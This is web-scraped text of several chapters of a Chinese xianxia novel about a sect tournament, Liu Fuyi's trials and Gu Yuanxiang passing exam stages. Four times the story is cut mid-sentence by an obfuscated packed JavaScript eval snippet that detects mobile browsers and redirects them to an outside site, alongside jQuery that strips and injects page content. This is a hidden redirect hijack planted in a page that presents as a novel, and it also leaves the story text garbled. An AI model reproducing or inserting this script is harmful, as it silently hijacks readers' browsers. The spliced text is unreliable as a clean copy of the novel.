阮长风大感无语,当即摊手道:“天老爷,话都让你说完了我还说什么?反正事儿都是你搞出来的,回春派之行算我一个,出事儿了我就把你供出去,新仇旧帐一起算。” 玄易凝眸注视着面前含笑闲聊的四人,突然跨步上前张开双臂,将他们齐齐揽进怀里拥住。 人与人之间,人与道之间,有时不得不需要一个称为契机的时刻。 他想,这四个人,就是他悟道除魔的契机。 玄易低头欣然一笑,转身走出这座禁锢他数十年的古刹。 梨花树动,飞花如雨。他的问心阵在千丝万缕的春风中化解。 * 问心阵内几个时辰,五人根本是在阵里经历了玄易的一生。阵解了梦散了,他们被足足十二派的弟子围在中间时脑子都有些跟不上趟。 玄易如今是真的半点傍身之法都没有,或许能够打破当下困境的一点手段就是修佛时学的一套拳法。 他沉眉凝眸转了一大圈,少说围着他们五个的也有上百人。拳头打废了估计也打不出一条路来。 沈听寒扯了一下他的袖子:“你是不是有什么秘密还没告诉我们?他们难道是冲你来的?” 玄易心魔已消,待人接物都更显大方。他默默沉思片刻,前头柳伏意阮长风顶着,他在后头猫着腰,勾着沈听寒的脖子说悄悄话,跟沈听寒掰着手指细数自己来灵剑派的规划。 “首先,我想打探一下天命剑主的虚实。毕竟伏意师姐也才十九岁,应该不会强出同龄人很多吧。”他知道现在场面不容许他慢吞吞的连说带猜,直白地把自己的目的捅出来,“如果她不强,那我就能跟她抢剑了,这叫近水楼台先得月。” 眼看着沈听寒眼中染上怀疑之色,他立刻摆手,恨不能与从前的自己划清界限:“我一直就是想斩心魔而已啊,我也没想害伏意姐。就是有一些不服,想跟她切磋看看的。” 不过现在他是正儿八经地放弃剑道了,也没什么好切磋的。 各派掌门和长老们举着法器将五人围起来,但也都顾忌着柳伏意站在前头,久久不敢动手。 柳伏意并不客气,这些天她已经忍这帮门派高层很久了。她脊背笔挺,容色略显愠怒,将手搭在了腰间的剑柄上。 所有人脸上的表情无不是畏惧中夹杂着兴奋。似乎比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她璨然一笑,容颜如花似玉,美的妖艳动人。乔宁先向柳伏意颔首致意,继而道:“大家围起来,也只是想为宗门大比的公平要个说法罢了。当然不是存心要与灵剑派为难。” 荣锦绣眼看着乔宁已经偏向柳伏意,本着跟合欢宗同一阵线就不会出错的宗旨,也站出来为柳伏意说话:“是啊,我带人围着也只是怕有什么别的状况,好接应一下帮个忙的。” 高望飞当即气不打一出来,背着人的时候大家一起义愤填膺地斥她目中无人行事张狂,现在人从问心阵里出来,手搭了搭剑柄就能吓到几个见风使舵的墙头草了。 他一振衣袍指着玄易便道:“那小光头道心种魔众人皆是亲眼见证的,柳伏意罔顾宗门大比的规定插手其中不说,现在他还跟个没事人一样站在这儿参赛,有这样的道理吗?” 沈听寒很快反唇相讥,比起高望飞吹胡子瞪眼怒发冲冠的样子,他轻摇玉骨扇,别提多么淡定从容。 “往年宗门大比生死自担这条规则也只适用于弟子切磋吧?其余环节灵剑派可都是要对参赛弟子负责的,既然不是在生死自担的规则之内,难道见人有难不能去管吗?” 玄易紧着就跳出来招呼了一声:“多亏柳长老救我一命呀!只可惜柳长老也说了,第五关不算是我自己通过的,我已经被她取消参赛资格了。” 他转头朝顾元香抛去一个同情的眼神,配合沈听寒噎得借题发挥的一帮高层无话可说。 玄易说罢退回阮长风身后,顾元香在他身旁抬手遮着嘴唇,咬牙问:“你小子早就想退出了吧!” “那当然了,有没有心魔都禁不住你这样折腾好吗?”玄易同样遮着嘴型,皮笑肉不笑地回应她。 回想起玄易前五关的遭遇,顾元香理亏得闭了嘴,但她也明白要是自己单枪匹马去闯第六关的话…… 和送死好像也没什么区别。 29. 宗门大比(九) 高望飞噤声不言,左右对了一眼,德高望重的前辈们便默契地各退一步,他们广袖一挥,水泄不通的包围圈便直接散出一条大道来。 胜券在握不紧不慢的声音慢慢飘进几人耳朵里。 “还不到时候,你难道怕没机会跟她算总账吗?” “从没有一个小辈像她这样的,目无尊长实在可恶。” “算了算了,不是已经有弟子闯到第七关了吗?很快就会有人进入第十关的。” 林秋池捋着胡子沉默不语,眼神钉在柳伏意侧脸。全灵剑派谁不知道清律长老是最好脾气的,平日里虽然总板着脸,但无伤大雅的请求她基本都会准,甚至哪怕谁冒犯了她,一句抱歉就能将这冷美人哄好。 前辈们的话不大不小,像是故意说出来恶心柳伏意的。意思也明晃晃的直白得很,你看,你师父都要帮我们算计你,你做人得有多失败? 一时之间灵剑派的各位天骄都默认柳长老必定会选择大事化小顾全大局,这搅乱宗门大比的插曲也就到这儿结束了。 但柳伏意偏不,她头一昂,顶着林秋池严厉的眼刀就站上前来。一字一句,不留情面:“各位要是想清算,何必非要等到第十关?总归宗门大比是弟子们的活动,也不关各位前辈的事。这几天听你们等来等去我也烦了,不如诸位移步清净峰吧?” 她把剑抱在怀里,低眉扫视一圈,怒意浅浅,气定神闲:“要斗,就斗个你死我活,不死不休。” 这是名门正派说出来的话吗? 沈听寒悄悄拉了一把她的袖子,但柳伏意仍然没有退缩的意思。林秋池终于沉沉地叹了口气,似乎颇为不满她在这时候站出来逞英雄。 林秋池快步上前一步扯住她胳膊,压着音调呵斥道:“伏意!冷静些。你修无情道四年了,连处变不惊都没学会吗?!” 眼看伏意不为所动,林秋池竟是软了脾性,语调缓了缓:“是师父不好,你先不要意气用事。” 玄易和顾元香自觉尴尬,默默往后退了几步。他们一旦退为旁观者的立场,有些事就看的格外明晰。 柳伏意望向林秋池,一言不发,只是眸中怒色未消,硬气得很。 “各位前辈,冒犯了。” 顾元香蹲在旁边围观,总觉得柳伏意如今有种众叛亲离的赶脚……究竟哪儿不对了?不就是杀了姜美娘吗?又不是没有证据…… 对啊,证据?!她有啊!灵剑派算计这算计那的不帮柳伏意澄清,不代表她不能帮忙啊。 她一拍脑袋,撒丫子跑到柳伏意和林秋池中间,速度快的玄易都未曾反应过来。 只听见一阵银饰叮铃当啷的动静,她在随身小挎包里掏出个记忆珠来。 “嗨呀别吵别吵,大家都不是什么不讲理的人~清律长老身为戒律堂主事长老,必定是要惩奸除恶的。大家唯一挂怀的不就是姜美娘究竟是正是邪吗?”她露出一口白牙嘿嘿一笑,“我有证据呀!” 凌浅越本来喝着庆钰的美酒别提多悠闲了,眼见顾元香把记忆珠掏了出来,“噗”地一口把酒喷成水雾,着急忙慌地从凌霄殿屋顶上飞身而下。 凌浅越“住手”还未喊出口,记忆珠的画面已经铺天盖地地放出来了。 屋顶上观望的张风华庆钰也大概能猜出顾元香好心坏了事,看着凌浅越阻止无能的背影,默默把嘴里的烤鸡吞了进去。 张风华含糊不清道:“师父还想用名声牵制一下小五呢,你看她那个性子,倔驴一样,视名声如浮云。” 庆钰点点头,一样的隔岸观火:“无所谓,等过了宗门大比,她想怎么随性都可以。” 凌浅越反正已经无力阻止事态发展,重新坐到二人身边看热闹。 “哎,毁了,全毁了。” 顾元香抱臂,心满意足地环视一圈,无人不被她放出的重磅证据惊住。 “那是混元剑法?”高望飞捏着剑柄一滴冷汗从额角落下来。 林秋池也是第一次看见柳伏意对战九命的记录,每招每式潇洒畅快,丝毫不拖泥带水,盛然的灵力冲天震地,足以叫在场所有的前辈闭嘴。 十二派的前辈们看完,想起柳伏意先前那句移步清净峰的话来,背后冷汗直冒。 这么乌泱泱一堆人,单打独斗能胜过她的,又有几个呢? 记忆珠中的一切未经处理,为还原事情真相,一个不小心就把横山尊者的风评给拉了下来。 他在人群中明显感觉到四面八方的目光在朝自己汇聚,无奈咬了咬牙转身回到一片狼藉的凌霄殿里。老牛食草似的,一块一块儿不嫌辛苦地搬运碎石。 林秋池见了暗叹一口气,感慨一声不中用了,一挥衣袍,袖中攒了许久的罪证就哗啦啦落了满地。 “诸位道友,横山没有说假话,灵剑派这些年确实一直有搜集姜美娘的罪证,也暗中解救了一些被她压迫的百姓。证据如下,诸位可以拿走细查。” 眼看正是为柳伏意平反的绝好时机,沈听寒迅速把忍冬和春喜也请了出来,两位姑娘添油加醋地把这些年在合欢宗的见闻所感一股脑倒出来,衬得这些天抹黑柳伏意的传言可笑至极。 毕竟只要她方想要澄清,的确到处都是证据。否则乔宁也不会铁了心跟她站在同一边了。 林秋池此举突兀,柳伏意拾起地上一张罪证来细查,墨迹早已干涸,连信纸都是横跨好几年的制式,收集起来并不容易。 这些证据定然是他早已准备好的。 乔宁这些天始终第一个发声力挺柳伏意,现下别提多么志得意满,笑容不免更大了些:“我就说清律长老声名在外,怎么会是滥杀无辜之人呢~” “哈哈哈……是啊是啊。” “英雄出少年啊,灵剑派当真有福气!” …… 吹捧之声不绝于耳,柳伏意对上林秋池作古正经的眼神,暗暗泄了口气,轻声道:“师父,我回清净峰去了。” 林秋池虽是不悦,但好在伏意看上去知错能改,也就没有多说,只点了点头同意了。 她转身离开,林秋池便招呼着众人去侧殿休息,掌门长老之类的散了,各派的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027700|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子自然也散开各忙各事。 元香一擤鼻子,沾沾自喜自己不动兵刃就化解了一场险些爆发的危机,随手将记忆珠送到沈听寒手里。 “嗨,我就说,哪儿有我办不到的事!好啦,姑奶奶我要去第六关闯闯看了。”她一面抬步,一面没忘回头冲玄易做了个鬼脸。 眼看着人都散了,玄易便和沈听寒阮长风一道,寻了个犄角旮旯的地方窝着,捡了块小观影石来看热闹。 沈听寒在灵剑派待久了,也并非不了解林秋池的个性。他扫了阮长风一眼,试探道:“看样子,掌门也没想真的给伏意苦果吃啊。” 阮长风也不瞒他,更不在乎玄易就在边上听着,朗声一笑道:“不仅如此,我觉得更像是试探她是否能当大任吧。你死乞白赖地非要住到清净峰去,伏意还不置一词,这在我师父眼里伏意已经越界了。” 玄易恍然大悟:“噢,怪不得你硬要把我塞进宗门大比,原来是灵剑派醋王啊。” 沈听寒望着他抿了抿唇,毕竟理亏不好反驳,而后听得阮长风说:“此事和伏意关系不大,实在是我师父自己的问题。” 他来灵剑派的时机最早,跟着林秋池的时间也最长,毫无疑问算得上是比林夕照都要了解林秋迟的人。 阮长风话锋一转,他说:“灵剑派在大约四十多年前,有一次灭门危机,当时我师父几乎到了道毁人亡的绝境。我猜他会如此严苛地对待伏意,也是因为那是他反复了几十年的噩梦,他不敢再叫同样的事再发生一遍。” 阮长风说的模糊,玄易仔细在脑中理了理思路,照样跟不上。他无奈地叹气,转头看向面色沉重的二人:“请问,能不能给我补补课呢?” * 一切好似回归正轨,明月依稀,夜风和煦。柳伏意哪里是去什么清净峰,如今清净峰还住着妙音阁和锦绣坊的弟子,哪怕在自己的地盘都觉得一直被人暗戳戳地盯着。 不如拥雪崖,鸟不拉屎的,山路还难行,连本门派人都懒得过来。 整个灵剑派因为宗门大比到处都吵闹,搅得她心绪不宁,烦闷燥火。 拥雪崖却是烟岚云岫,鸦默雀静。她平息怒意,安然坐在崖边打坐,细细去想她这段时间的所思所行。 自从她背地里接触了无情道戒律所不容的习惯后,贪心一点一点增长。不准嗜甜,不准穿着鲜艳,不准动情等等都被她抛到九霄云外。 她到底是什么时候讨厌林秋池管束太多不够自由的? 清风渐起,相思树的花瓣悠然划过她眼前。 柳伏意恍然想起那天夜里,沈听寒浑身是血,气息奄奄。 也是那天起,鬼使神差的,她第一次滥用职权留他住在清净峰,只想让他安心。 ——是我违背了大道规训。 ——是我怕他不能静心养伤。 ——为什么啊。 柳伏意扶着自己心口的位置,胸膛之下,有什么狠狠撞着她掌心。 更阑人静,月白风清,有人后知后觉。 “我……动心了?” 30. 宗门大比(十) 沈听寒的药师堂已经有许久没人进出了,他领着玄易和阮长风回去,照旧是一派狼藉。 阮长风见那门扉上血迹依稀,摇了摇头,随便在药师堂里寻了个软榻坐下。 三人围桌而坐,沈听寒燃了一盏烛灯。 烛火跳动,影影绰绰。 “你们都知道吧,我师父很少收内门弟子,除非是修炼无情道的天才。早在几十年前的灭门危机时,我师父的道心就碎过一回。”沈听寒倒是没听过这段秘辛,和玄易一样略显迷茫。 阮长风恨不得在两人脑袋上凿个洞:“他要是没碎过道,林夕照哪儿来的!?” “哦~”二人异口同声。 “总之自碎道那以后,我师父也不修无情道了,但他只收无情道的弟子,为的是把师祖的遗志传承下来。这些天不是也有风声说,我师父忌惮伏意赶走了亲儿子让他不能继承灵剑派才跟她不对付吗,假的。灵剑派的下一代掌门绝对会从无情道修士里面出,也就是清云峰这四个人里出。” 玄易照样投来疑惑的目光,这时候就不用阮长风敲他了,沈听寒指着阮长风心口的位置及时补充:“他的无情道也在几十年前就碎了。” 玄易忍不住腹诽,无情道是鸡蛋啊这么容易就碎,难怪没什么人学。 “林秋池在继任掌门之前主管的也是戒律堂,当年轰动一时的弑亲案就是出自他手。”阮长风戳了戳木桌,沉闷的声响引得玄易与他对视一眼,“你在第四关看见的戒律堂,其实是林秋池当年主事清净峰时的样子。” “他从小被生父虐待,逃亡之后才被师祖捡到收为徒弟,他对师祖崇敬非常,对生父难免憎恨。当年他生父林虎勾结妖孽为非作歹,此事被观月长老齐冷玉察觉,除妖之后将林虎带回了戒律堂。” 阮长风耸了耸肩,说书似的还半途打量一下二人的神色:“儿子审老子,有违人伦啊!本身就是对林秋池的一个考验了,后来他当然是判林虎有罪,将生父处死示众。修界普遍觉得处罚过重,认为他徇私枉法,他当年和伏意如今是一样的境遇,无人相信,大批乌合之众落井下石。” 他欲扬先抑一般,转了语调:“但是无情道恪守的教条并非修界戒律,应该更像是……天理。自然修界大多人都理解不了无情道修士的处事之法。弑亲案一出,加上有心之人从中斡旋,林秋池在修界人人喊打,只能下山云游。当年灵剑派险些灭门,皆是由于锁妖塔破损,妖邪倾巢而出。林秋池是收到令信才赶回山门的,当时的情况他也只能亲手杀光同门手足。妖邪伏诛之后,灵剑派修士十不存一,林秋池的无情道就是在尸山血海中碎了。” 沈听寒大致明白了他的意思:“所以林秋池是觉得伏意修道之路太顺遂,存心给她找事的?” 阮长风细细思索一阵,皱着眉头答的不是很肯定:“我猜是。总之不会真的危害她吧,你见谁天天袖子里放那么一老多的证据啊?” 玄易听完倒是可以理解一二,他双手合十微微颔首,阮沈二人的目光齐齐朝他汇聚。 玄易淡然开口:“无情道人奉行天理,恰如师姐如今天命在手。常人安能窥天理,无情道人被误解是必然的,如果伏意师姐为声名所累,那她遭殃的还在后头。” 他想起林秋池的过去有些毛骨悚然,面前莹莹跳动的烛火都显得有些冷清。 “被误解只是第一步,林秋池能在妖邪频出祸乱之际杀光同门,几乎是不为情绊,冷静到极点了。那他应当也不许师姐对任何人有依赖。” 话音甫落,玄易较为同情地看了沈听寒一眼,一副小鸳鸯要被拆了的苦闷样儿。 阮长风大笑几声,他从来没在沈听寒脸上见到如此吃瘪的表情,别提多么畅快了。一气将凉茶饮尽,说道:“姜美娘的事就是个千载难逢的机会,和我师父的设想不谋而合,他当然要利用一下了。” 不过种种说来都是阮长风的猜想,他也知情识趣地不再多加点评。 * 已是入夜,顾元香通过了第五关后便时不时地能和同龄的弟子们打个照面。修道之人入门时总要清修吃苦,有辟谷之术也有战睡魔的说法,短短三天,很多弟子们都是做好了不眠不休的准备来的。 元香拖着沉重的脚步,前往第六关,清虚峰衡阳长老的寄雪堂。 寄雪堂位于清虚峰之巅,屋如其名,矗立于一片风雪中,天寒地冻,滴雪成冰。 她搓了搓胳膊,跟在一队灵剑派弟子后头一同走进寄雪堂中。 传闻中的衡阳真人看上去不过是个孩童,须发皆白,他屁股底下那个凳子比人还高。横梁上摇摇晃晃的宫灯投下一片阴影,让他的小脸时白时黑。 众弟子只能仰头看他。 衡阳也懒得废话,各派弟子闯关的速度不统一,搞得他自从宗门大比开始也不能好好休息。运气不好还遇上几个手贱的,前往寄雪堂的路上随手摘掉了几朵珍稀药草,心下别提有多窝火了。 他小脸一横,广袖一挥,纯白的灵力在众人面前幻化为一个药盅。 顾元香捧着那寒凉如雪的罐子,有些不好的预感。 “这是我新炼的药,需要收集各种人的身体情况和服药之后的反应。喝下去不一定不死,敢喝完就通过,不敢喝的原路下山。”衡阳又伸手,灵光飞散至每人身前,留下纸笔。 宣纸上白纸黑字十分清楚,有没有得过什么病,有没有服过什么丹药…… 顾元香打开药盅一看,硕大的蛇头就浮在纯黑色的液体之上。他不知道用了什么法子保鲜,蛇头竟还嘶嘶吐着信,稍有不防都可能被蛇信子舔一口嘴。只要稍微凑近,冲鼻的苦味和辛辣都将人眼泪活活呛出来。 从来没有哪家的灵药像他这么炼的。 她突然想起来,清虚峰在医修一道有所建树的,向来只有沈听寒一个而已。那这衡阳长老根本就是不会炼药,拿他们当试验品啊! 衡阳看出她表情有异,后头陆陆续续来了许多其他门派的弟子不明所以,他淡淡扫一眼,惜字如金却幸灾乐祸。 “我完全不会炼药,你们爱喝不喝。” 顾元香捧着那罐“生炖蛇头”,吞了几口唾沫给嗓子眼儿润滑,眼睛一闭大吼一声:“我喝!” 她大有慷慨就义的模样,各派弟子都等着看她喝完是死是活再行决断。顾元香一把甩了盖子,紧闭着眼忍着面前近在咫尺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027701|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的嘶嘶声,嘴唇对准药盅就是咕嘟嘟一顿狂咽。 好不容易见了底,她把眼睛睁开,泪意朦胧,喉头徘徊的苦涩叫她胃里翻江倒海,呕也呕不出来咽也咽不下去。 衡阳点点头,孩童般稚嫩的脸颊上浮现出欣喜:“好喝吗!” 顾元香两袖子擦干眼泪,忍不住腹诽,这他喵的能好喝吗! 抬头对上衡阳真人的眼睛,照样是张嘴就来:“闻之欲醉,好喝得很……呕~~” 衡阳不跟她计较,示意她可以开始填面前的卷子。他手中灵力微闪,顾元香身上的药效就被极快地催发。 她提笔的手忍不住颤动,片刻过后竟是连手腕都抬不动,五指软的像水一样丝毫用不上力。 “啊!!她……她的脸!”一女修的尖叫声乍响,衡阳一掀眼皮,手指一提,盛然的灵力便将她扔出寄雪堂之外。 连害怕的神色都不能表露,否则就被踢出局。剩下的弟子们正襟危坐,各个捧着手里的药盅有苦难言,又忍不住转转眼珠子,看看第一个喝药的顾元香有什么反应。 顾元香一听那女修的尖叫,便熟稔地从小挎包里摸出一面小铜镜来。她一照镜子差点没晕过去,镜中她的额头和脸颊都因为这灵药的缘故长出了密密麻麻的蛇鳞。 她忍着不适,眼看过了这关就能免考了,临门一脚不可能功败垂成。顾元香两手夹住毛笔,颤颤巍巍地在宣纸上写下她的答案。 眼看着顾元香额前的细汗越来越多,嘴唇越来越白,不少弟子都打起了退堂鼓。 “衡阳真人,我写完了。” 衡阳一勾手,她面前的宣纸和毛笔消失不见。他捧着那张字迹歪七扭八的宣纸仔细看了看,随便点了点头:“那你走吧,我这边你过关了。” 顾元香闻言终于舒了口气,从小挎包里翻出来一颗解毒丸吞了下去。幸好她早有准备,不然这蛇毒弄不死她也得叫她难受个七八天。 眼看着顾元香有药物储备,脸上青色的蛇鳞和愈加尖锐的舌尖全都退化为原样,没带药的弟子们不由冷汗直冒。 她是灵剑派的弟子,还得自带解毒丸,况且要是她不服解毒丸,该是什么下场还未可知。 顶着衡阳的审视,回春派黄渊轻轻拽了拽元香的裙角,问道能否给他两颗解毒丸。 顾元香尚且有些虚弱,正扶着寄雪堂的门框准备离开,她循着声音望过去,黄渊身旁一位姑娘娉婷袅娜,同样不好意思地注视着她。 顾元香回眸扫了一眼衡阳真人,尴尬地笑了笑:“那多不公平啊,是真男人就不要怕变成蛇,听说蛇有两个,你真变了也不亏。” 回春派的服饰她在玄易的问心阵中见到过,一时义愤填膺,连带着黄渊一起给怼了。 黄渊狠狠白了她一眼,转过身去气不打一处来,却是柔声哄了哄他身旁的姑娘:“阿离,不如你就不要吃了吧?回春派又不止咱们两个,没有解药指不定有多难受呢。” 被他唤做阿离的姑娘略微摇了摇头,紧盯着药盅内的东西沉默不语。 她一蹙眉,顾元香就有些印象了。 这不是黄渊问心阵里和他抵死缠绵的那位姑娘吗?! 31. 宗门大比(十一) 顾元香的目的已经达成,剩下的四关她都去走个过场。甚至她没了补考的压力,心情颇好地回到清月峰歇了一晚上,第二天晌午才收拾好东西往第七关去。 第七关是她师祖观月真人齐冷玉负责。齐冷玉为音修,天生六指,据说她精通各种乐器,杀伤力最大的要数她的本命法器沉湘。 顾元香平时鲜少去齐冷玉的洗心斋,那儿竹影幽篁,碧树潺溪,美则美矣,唯一美中不足的就是她师祖弹的琴实在是太难听了。 称得上是魔音贯耳。 皓月曾经跟她说过齐冷玉早年间的战绩,生生将人弹的七窍流血暴毙而亡的也不在少数。 如果第七关是听齐冷玉弹琴的话,她一定选择弃权。 思俦片刻,顾元香已经停在洗心斋牌匾之下。她到的当然不算早,因而也能看见洗心斋内东倒西歪层层叠叠的各派弟子们。 齐冷玉端坐于正中央的高位,六指搭在沉湘琴上,听见顾元香的脚步声倏尔睁眼。 师祖见徒孙,总算是有些情绪上的波动。她漂亮的柳叶眉微微蹙起,手指已然作出弹琴的架势来。 “你怎么才来?我昨儿个听衡阳说,你是第一个过关的。”她语调柔和却不怒自威,顾元香忍不住跪坐在她面前的蒲团上,支支吾吾地想找个借口。 齐冷玉伸手拂袖,宽大的袖袍在她面前划过,冷香斐然。 “如果你想让清律第十关轻松一些,你最好努力站到她面前。” 顾元香面色一变,竟是一伸手按在沉湘琴上,顾不得失礼,张口就问:“什么意思?我根本不会剑术我能怎么帮她?她第十关会很难熬吗?” 齐冷玉不骄不躁,反而正是这种云淡风轻的调调让顾元香抓心挠肝。她推开顾元香的手,只单手抚琴。 悠扬的琴音仿若编织出一个梦境,顾元香没想到师祖也能弹出这样缠绵缱绻的曲调,一时有些执迷。片刻须臾光景逆转,齐冷玉双手齐弹,琴音激荡时如疾风暴雨,又似金戈铁马踏过,强烈的撕裂感恨不得扯开顾元香的大脑和眼球。 强顶着眼球的胀痛感,顾元香眼前逐步被朦胧水汽糊住。她的大脑受琴音影响格外清醒,甚至能看清齐冷玉用琴音暗示她的画面。 第十关就设置在清云峰的白石广场上,柳伏意身中数刀,碧蓝衣裙被血染的看不出来模样。她拄着天命剑,恍惚不定,脚步虚浮,良久才能站稳身形,踟蹰蹒跚,一步之遥,跪在白石阶前倒下,吐出几口浓血。 伤重的让人不忍心细看。 琴音蓦然停止,顾元香眼前逐渐由黑转明,她知道齐冷玉故意提醒她,定然是其中有不可告人的秘辛,甚至可能关乎柳伏意的生死。 好像是知道顾元香要问什么,齐冷玉引她去了内室。 一道法阵布下,无人再知她们谈话的内容。 “碍着规矩我不能说太多,总之今年宗门大比的魁首嘉礼关乎一个门派的生死,我想掌门必定给清律下了死命令严防死守。你看到的画面,就是我算卦算出来的终局。” 顾元香脑子一下空白了,柳伏意可是连上古时期的九命狐都能打的过的。她怎么可能区区一个宗门大比就狼狈成这样?除非是……有人暗中动了手脚? 齐冷玉道:“林秋池有心结,他虽无意害清律,但人算岂能圆满。你入局,还好帮她一把,否则她孤身一人,伤重或可致道毁。” 她转身,随手塞了顾元香一个小包裹,说:“言尽于此,你听过了我的琴,走吧,过关了。” 顾元香仍然停留在齐冷玉的几句话里难以抽身,反应过来时已经身在洗心斋半里之外。 她翻开包裹一看,满满当当的黄符,品类齐全灵力强大,一看就知道是齐冷玉亲手做的。 顾元香暗下决心,一路狂奔着去闯第八关。 只要她通关的速度够快,说不准成为第一个进入第十关的,那就能提前和柳伏意通个气了。 而第八关算得上是她的死穴,由清缈峰横山尊者主理。在云州如何指着横山鼻子骂的场景历历在目,顾元香暗恨自己当时太过冲动,怎么就不能听阮长风一句劝,但凡顾虑一下横山身为一山之长,总归会是个考官呢?! 她腆着笑脸,粗气都没顺匀就抬手叩响了静水阁的门。 横山沉声应了一句,她推门而入,笑呵呵地跪在他对面的蒲团上。不等横山先开口出题,顾元香已经深吸一口气,猛地将头磕在了二人之间的桌案上。 “砰”地一声,桌上茶盏笔墨纸砚俱是飞起一震。横山一惊,小眼瞪的老大。顾元香再抬头时额头上已然红了一片,可知她认错到底有多诚恳。 “横山尊者,当初在云州对您出言不逊实在是我的过错。还请您高抬贵手,大人不记小人过。”她打量着横山的神情,老头子脸上没奇怪也没生气,和衡阳观月一样,端着一副仙人高深莫测的架子,看不出什么来。 横山点头随口答应几句,便给她讲解第八关的试题。 “我的独门绝学便是追魂求真,死人身上尚且能找些线索出来。这第八关也简单,心静则魂安,我看不出什么问题,你就可以通过。” 如果说问心阵是试人道心,那么追魂求真则是试人本心。任何人只要勤加修炼,道心或可安稳,然而本心不易隐藏,好就是好坏就是坏。 只要一对视,就在横山眼下无所遁形。 顾元香紧张地双手发颤,她在西域时难免和人起冲突,在她们西域以牙还牙以眼还眼是再正常不过的了。并且她从小受到的教育便是任谁欺负了自己就要百倍偿还回去,这样的报应观念在灵剑派似乎算得上是睚眦必报用心险恶? 她要是过不去追魂求真怎么办? 为了避免直接被横山看透,没有时间申辩,她先是把眼睛闭上了。 “横山尊者您听我解释啊,我真的不是故意拿邪术戏弄人的。我当时在西域是被那个登徒子骚扰我才给他撒了绝育粉……” 她叽里呱啦讲了一通自己的“前科”,横山颇有耐心地听完,苍老和缓的笑意绽开来,摇了摇头道:“别念了,睁眼吧,早在你磕完头抬起来那一刻我就用过追魂求真了。” 顾元香闻言心死半截。 横山道:“你解释了大半天,不过是说你做这些世人眼里不容的邪术是有理由的。在我看来,你做这些事并不代表你心不静魂不安,每个人天生就有各自的立场,做的事自然不能一概而论。你魂挺安的,通过了。” 就这么简单?顾元香眨了眨眼,脱口便将疑惑问了出来。 横山照样笑着摇了摇头:“因为你心中无执啊。越是道法强悍的人,越容易有野心有执念,这里已经是第八关了,那么他们就会想无论如何都要通过第十关。宗门大比的规矩你也知道,弟子之间切磋生死自担,少不了有踩着别人尸骨上位的。你出了这儿也小心些,遇见打不过的就求饶退出。” 横山起身,将顾元香腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027702|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间那只齐冷玉的包裹收归眼底,默默摇了摇头。 “你早些去吧。” 顾元香顺着他的眼神也猜出了个大概,起身认真地向横山作揖拜别,紧赶着去掌门的清云峰奔赴第九关。 两天内几次踏足清云峰,她每次的心境都不大一样。林秋池的宁仙居用古木白石砌成,典雅之中暗藏几分仙气。 目前到了第九关的弟子各个雄心勃勃,哪怕前面有一两位天骄已经到了第十关,他们也无所顾忌。 让旁人打头阵消耗消耗柳伏意的体力也是极好的。 宁仙居内每人领到一张符纸,将符撕碎,灵力显化,考题便是正式开始。 顾元香深呼一口气一个箭步冲上前挤进人群中,拼死拼活地将手从几人腰间钻进去扯了一张符纸出来。 她顺手将符纸撕碎,眼前一闪,四周天地倒悬灵识越来越远,恍然间她有种自己晕倒在地的错觉。也不知道自己是以一个怎么样的姿态进入试炼的。 …… 曀曀其阴,虺虺其雷。顾元香抬头一看,墨云低垂,金雷轰鸣。翻涌的黑色云层之中金色的闪电灵活蹿过,紧接着便是朝她直劈而下。 她一惊,猛然往后退了一步,原先站的地方就被金雷劈的焦黑破碎。 疾雷既过,天空刹那光明,烈日似火焚心,晒的人恨不得流干浑身的水分,生机仿佛随着汗水缓缓流逝。 分明是酷暑严寒,又纷纷扬扬地飘起鹅毛大雪。 短时间内天象几次变化,都预示着这一天的不平凡。 顾元香伸手接雪,听见身旁有人朝她俯首,而后高声细数跪地之人的罪孽。 她这才转头四下看了看,她身处审判台之上,身着绣着灵剑派标志性剑纹的长老服制。尤其这套长老服还是独特的碧蓝色,暗指的是谁大家心知肚明。 一旁的大弟子条条念出戒律与人犯所犯之罪一一对应。 “口业生事,禁闭三月。” “贪盗妄取,罚入寒牢。” “同门相残,轻者废灵脉受戒鞭,重则处死,抽魂入阵。” 每念一条,台下就扔上来几十颗臭鸡蛋烂白菜。顾元香躲闪不及,被一颗臭鸡蛋正中脑门,脸色瞬间垮成菜色。 “她是情有可原!她又不是故意杀了那两个弟子的!” “就是啊!其他人都死有余辜!” “她还救了很多同样被虐待的师妹!罪不至死啊!” 这理由太像了。 